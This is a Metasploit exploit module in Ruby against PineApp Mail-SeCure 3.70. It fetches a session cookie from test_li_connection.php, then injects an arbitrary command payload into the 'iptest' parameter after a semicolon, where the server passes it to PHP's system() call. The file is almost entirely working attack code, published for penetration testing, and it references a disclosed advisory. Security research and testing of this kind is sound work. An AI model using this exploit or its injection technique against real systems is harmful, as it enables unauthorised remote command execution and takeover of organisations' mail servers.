##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'PineApp Mail-SeCure test_li_connection.php Arbitrary Command Execution',
			'Description'    => %q{
					This module exploits a command injection vulnerability on PineApp Mail-SeCure
				3.70. The vulnerability exists on the test_li_connection.php component, due to the
				insecure usage of the system() php function. This module has been tested successfully
				on PineApp Mail-SeCure 3.70.
			},
			'Author'         =>
				[
					'Dave Weinstein', # Vulnerability discovery
					'juan vazquez'    # Metasploit module
				],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-188/']
				],
			'Platform'       => ['unix'],
			'Arch'           => ARCH_CMD,
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'       => 1024,
					'DisableNops' => true,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl python telnet'
						}
				},
			'Targets'        =>
				[
					[ 'PineApp Mail-SeCure 3.70', { }]
				],
			'DefaultOptions' =>
				{
					'SSL' => true
				},
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Jul 26 2013'
			))

		register_options(
			[
				Opt::RPORT(7443)
			],
			self.class
		)

	end

	def my_uri
		return normalize_uri("/admin/test_li_connection.php")
	end

	def get_cookies
		res = send_request_cgi({
			'uri' => my_uri,
			'vars_get' => {
				'actiontest' =>'1', # must be 1 in order to start the session
				'idtest' => rand_text_alpha(5 + rand(3)),
				'iptest' => "127.0.0.1" # In order to make things as fast as possible
			}
		})
		if res and res.code == 200 and res.headers.include?('Set-Cookie') and res.headers['Set-Cookie'] =~ /SESSIONID/
			return res.get_cookies
		else
			return nil
		end
	end

	def check
		# Since atm of writing this exploit there isn't patch available,
		# checking for the vulnerable component should be a reliable test.
		cookies = get_cookies
		if cookies.nil?
			return Exploit::CheckCode::Safe
		end
		return Exploit::CheckCode::Appears
	end

	def exploit
		print_status("#{rhost}:#{rport} - Retrieving session cookie...")
		cookies = get_cookies
		if cookies.nil?
			fail_with(Exploit::Failure::Unknown, "Failed to retrieve the session cookie")
		end

		print_status("#{rhost}:#{rport} - Executing payload...")
		send_request_cgi({
			'uri' => my_uri,
			'cookie' => cookies,
			'vars_get' => {
				'actiontest' =>'1', # must be 1 in order to trigger the vulnerability
				'idtest' => rand_text_alpha(5 + rand(3)),
				'iptest' => "127.0.0.1;#{payload.encoded}"
			}
		})
	end

end